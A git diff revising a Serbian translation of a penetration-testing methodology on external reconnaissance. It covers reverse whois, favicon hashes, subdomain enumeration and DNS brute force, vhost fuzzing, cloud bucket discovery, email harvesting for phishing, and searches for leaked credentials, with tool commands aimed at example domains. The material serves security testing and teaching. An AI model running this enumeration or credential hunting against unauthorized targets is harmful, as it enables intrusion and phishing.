#Using google dns ``` -Da bi ovo radilo, administrator mora ručno omogućiti PTR.\ -Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com/](http://ptrarchive.com) +### **Obrnuti Whois (petlja)** -### **Reverse Whois (petlja)** - -Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **pretragu reverse whois-om po bilo kojem od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\ +Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\ Možete koristiti online alate poput: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno** @@ -112,7 +109,7 @@ Možete koristiti online alate poput: * [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\ -Takođe možete izvršiti automatsko otkrivanje reverse whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +Takođe možete izvršiti automatsko otkrivanje obrnutog whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` **Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.** @@ -140,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj. -Osim toga, takođe možete pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti da li je u shodanu i **pronaći više ranjivih mesta**: +Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -157,27 +154,27 @@ fhash = mmh3.hash(favicon) print(f"{url} : {fhash}") return fhash ``` -### **Autorsko pravo / Jedinstveni niz** +### **Autorsko pravo / Jedinstveni string** -Pretražite unutar web stranica **nizove koji bi mogli biti deljeni preko različitih veb lokacija u istoj organizaciji**. **Niska autorskog prava** mogla bi biti dobar primer. Zatim pretražite tu nisku na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"Niska autorskog prava"` +Pretražite unutar web stranica **stringove koji bi mogli biti deljeni između različitih veb sajtova u istoj organizaciji**. **String autorskog prava** može biti dobar primer. Zatim pretražite taj string na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"String autorskog prava"` ### **CRT vreme** -Uobičajeno je imati cron posao kao što je +Često je uobičajeno imati cron posao kao što je ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` ### **Spoljni rekon metodologija** -Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važenja, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\ +Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\ Pogledajte ovaj [**članak za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### **Pasivno preuzimanje** -Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (kao što je Digital Ocean) zapravo će značiti **preuzimanje nekih poddomena**. +Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (kao što je Digital Ocean) zapravo će **preuzeti neke poddomene**. -[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu na DigitalOcean-u**, **dobija** IPv4 **nove mašine i traži u Virustotal-u zapise poddomena** koji na nju pokazuju. +[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu u DigitalOcean-u**, **dobija** IPv4 **nove mašine i traži u Virustotal-u zapise poddomena** koji na nju pokazuju. ### **Drugi načini** @@ -185,17 +182,17 @@ Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pr **Shodan** -Kako već znate ime organizacije koja poseduje IP prostor. Možete pretražiti te podatke u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. +Kako već znate ime organizacije koja poseduje IP prostor. Možete pretražiti te podatke u shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. -Mogli biste pristupiti **TLS sertifikatu** glavne web stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih web stranica poznatih od strane **Shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Mogli biste pristupiti **TLS sertifikatu** glavne web stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih web stranica poznatih od strane **shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatno. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatan. ### **Traženje ranjivosti** -Proverite za neko [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju. +Proverite da li postoji [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju. Ako pronađete bilo koji **domen sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ _Napomena da se ponekad domen nalazi unutar IP adrese koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._ @@ -247,7 +244,7 @@ amass enum -d tesla.com | grep tesla.com # To just list subdomains # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` -* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) +* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr) ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` @@ -268,7 +265,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su: +Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, poput: * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena ```bash @@ -300,7 +297,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** prikuplja poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen. +* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -339,7 +336,7 @@ Možete pronaći **poređenje** mnogih ovih alata ovde: [https://blog.blacklante ### **DNS Brute force** -Pokušajmo da pronađemo nove **poddomene** grubom silom pretražujući DNS servere koristeći moguća imena poddomena. +Pokušajmo da pronađemo nove **poddomene** brute-forcing DNS servere koristeći moguća imena poddomena. Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene kao što su**: @@ -349,11 +346,11 @@ Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -Takođe, potrebne su IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -Najpreporučeniji alati za DNS grubu silu su: +Najpreporučeniji alati za DNS brute-force su: -* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasnu DNS grubu silu. Veoma je brz, međutim podložan je lažnim pozitivima. +* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivima. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt @@ -363,7 +360,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem sa džokerima i jednostavnom podrškom za unos-izlaz. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem wildcard-ima i jednostavnom podrškom za unos-izlaz. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -375,7 +372,7 @@ puredns bruteforce all.txt domain.com ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` -### Druga runda DNS Brute-Force napada +### Druga runda Brute-Force napada na DNS Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za ovu svrhu korisni su neki alati: @@ -383,12 +380,12 @@ Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force ```bash cat subdomains.txt | dnsgen - ``` -* [**goaltdns**](https://github.com/subfinder/goaltdns): Дати домени и поддомени генеришу пермутације. -* Можете добити goaltdns пермутације **wordlist** [**овде**](https://github.com/subfinder/goaltdns/blob/master/words.txt). +* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije. +* Možete dobiti goaltdns permutacije **wordlist** ovde: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka sa permutacijama, gotator će koristiti svoju. +* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` @@ -397,13 +394,13 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubom silom dobiti rezultat (ne podržava dns wildcard). -* Možete preuzeti listu reči za permutacije dmut-a [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). +* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubo forsirati rezultat (ne podržava dns wild card). +* Možete preuzeti dmut permutacije liste reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena. +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Zasnovan na domenu, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena. #### Pametna generacija permutacija @@ -413,7 +410,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim algoritmom vođenim odgovorima DNS-a. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu informacija prikupljenih tokom skeniranja DNS-a. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim DNS vođenim algoritmom. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu prikupljenih informacija tokom skeniranja DNS-a. ``` echo www | subzuf facebook.com ``` @@ -427,7 +424,7 @@ Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanj ### **VHosts / Virtuelni hostovi** -Ako pronađete IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost domena na toj IP adresi**. +Ako pronađete IP adresu koja sadrži **jednu ili više veb stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost imena domena na toj IP adresi**. #### OSINT @@ -435,7 +432,7 @@ Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](ht **Brute Force** -Ako sumnjate da se neki poddomen može sakriti na veb serveru, možete pokušati da ga brute-force metodom otkrijete: +Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute force-ujete: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -450,7 +447,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com VHostScan -t example.com ``` {% hint style="info" %} -Pomoću ove tehnike možda čak možete pristupiti internim/skrivenim endpointima. +Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima. {% endhint %} ### **CORS Brute Force** @@ -466,7 +463,7 @@ Takođe, s obzirom da ćete u ovom trenutku znati sve domene unutar opsega, poku ### **Monitorisanje** -Možete **pratiti** da li su **kreirani novi poddomeni** domena praćenjem **Certificate Transparency** logova koje radi [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). +Možete **pratiti** da li su **novi poddomeni** domena kreirani praćenjem **Certificate Transparency** logova koje radi [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). ### **Traženje ranjivosti** @@ -497,11 +494,11 @@ Takođe možete proveriti domene koje usmeravaju ka određenoj IP adresi koriš > Pronašli smo sve kompanije i njihove resurse i znamo opsege IP adresa, domene i poddomene unutar opsega. Vreme je da tražimo web servere. -U prethodnim koracima verovatno ste već izvršili neku **rekognosciranje otkrivenih IP adresa i domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega. +U prethodnim koracima verovatno ste već izvršili neko **rekonnoitering IP adresa i otkrivenih domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega. -Molimo vas, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu). +Molimo, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu). -**Brz metod** za otkrivanje **otvorenih portova** vezanih za **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\ +**Brz način** za otkrivanje **otvorenih portova** koji se odnose na **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\ Još jedan koristan alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -513,13 +510,13 @@ Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i da vam kaže šta je **verovatno ranjivo**, a šta nije. +Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregleda sve **snimke ekrana** i kaže vam **šta verovatno sadrži ranjivosti**, a šta ne. -## Javna Cloud Sredstva +## Javna Cloud sredstva -Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"kripto", "novčanik", "dao", "", <"imenja_poddomena">`. +Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči poput: `"kripto", "novčanik", "dao", "", <"imeni_poddomena">`. -Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**: +Takođe će vam biti potrebne liste reči koje se često koriste u **spremnicima**: * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -527,13 +524,13 @@ Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima** Zatim, sa tim rečima trebalo bi da generišete **permutacije** (proverite [**Drugo kolo DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija). -Sa rezultirajućim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Sa rezultirajućim listama reči možete koristiti alate poput [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Zapamtite da prilikom traženja Cloud Sredstava treba **tražiti više od samo bucketa u AWS**. +Zapamtite da prilikom traženja Cloud sredstava treba **tražiti više od samo spremnika u AWS**. ### **Traženje ranjivosti** -Ako pronađete stvari poput **otvorenih bucketa ili izloženih cloud funkcija**, trebalo bi da im **pristupite** i pokušate da vidite šta vam nude i da li ih možete zloupotrebiti. +Ako pronađete stvari poput **otvorenih spremnika ili izloženih cloud funkcija**, trebalo bi da im **pristupite** i pokušate da vidite šta vam nude i da li ih možete zloupotrebiti. ## Emailovi @@ -546,29 +543,29 @@ Sa **domenima** i **poddomenima** unutar opsega, praktično imate sve što vam j ### **Traženje ranjivosti** -Emailovi će vam kasnije koristiti za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga. +Emailovi će kasnije biti korisni za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **fishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga. -## Procurene Poverljive Informacije +## Curenje podataka o akreditacijama -Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurene poverljive informacije iz prošlosti koje pripadaju tim emailovima: +Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurele akreditacije iz prošlosti koje pripadaju tim emailovima: * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Traženje ranjivosti** -Ako pronađete **validne procurene** poverljive informacije, to je veoma laka pobeda. +Ako pronađete **validne procurele** akreditacije, to je veoma laka pobeda. -## Procurene Tajne +## Curenje tajni -Procurene poverljive informacije su povezane sa hakovanjem kompanija gde su **poverljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim procurama** čije informacije nisu u tim bazama podataka: +Curenje akreditacija je povezano sa hakovanjem kompanija gde je **osetljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka: -### Github Procure +### Github Curenja -Poverljive informacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ -Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **razvijalaca** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima. +Akreditacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ +Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **developer-a** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima. -**Leakos** takođe može biti korišćen za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer se ponekad **veb stranice takođe sadrže tajne**. +**Leakos** takođe može se koristiti za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer ponekad **veb stranice takođe sadrže tajne**. #### Github Dorks @@ -578,26 +575,26 @@ Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe [github-leaked-secrets.md](github-leaked-secrets.md) {% endcontent-ref %} -### Paste Procure +### Paste Curenja -Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **poverljive informacije**, ali je veoma interesantno tražiti ih.\ +Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **osetljive informacije**, ali je veoma interesantno tražiti ih.\ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 sajtova za paste istovremeno. ### Google Dorks -Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebalo da budu tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih pokrenete sve**. +Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebalo da budu tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti **alat poput** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih pokrenete sve**. _Napomena da alati koji očekuju da pokrenu celu bazu podataka koristeći obični Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._ ### **Traženje ranjivosti** -Ako pronađete **validne procurene** poverljive informacije ili API tokene, to je veoma laka pobeda. +Ako pronađete **validne procurele** akreditacije ili API tokena, to je veoma laka pobeda. -## Javne Ranjivosti Koda +## Javne ranjivosti koda Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu. -**Zavisno od jezika**, postoje različiti **alati** koje možete koristiti: +**Zavisno o jeziku**, postoje različiti **alati** koje možete koristiti: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) @@ -606,15 +603,15 @@ Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i t Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su: * [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/) -**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **web aplikacija**, pa bih sada želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/). +**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/). -Takođe želim da posebno spomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **radne tokove kako bi se dobile neke početne informacije o webu.** +Takođe želim da posebno pomenem sekciju [**Alati otvorenog koda za automatsko skeniranje veb aplikacija**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **tokove rada kako bi se dobile neke početne informacije o vebu.** ## Rekapitulacija -> Čestitam! Do ovog trenutka ste već obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije). +> Čestitam! Do ovog trenutka već ste obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije). Dakle, već ste: @@ -623,14 +620,14 @@ Dakle, već ste: 3. Pronašli sve **domene** koje pripadaju kompanijama 4. Pronašli 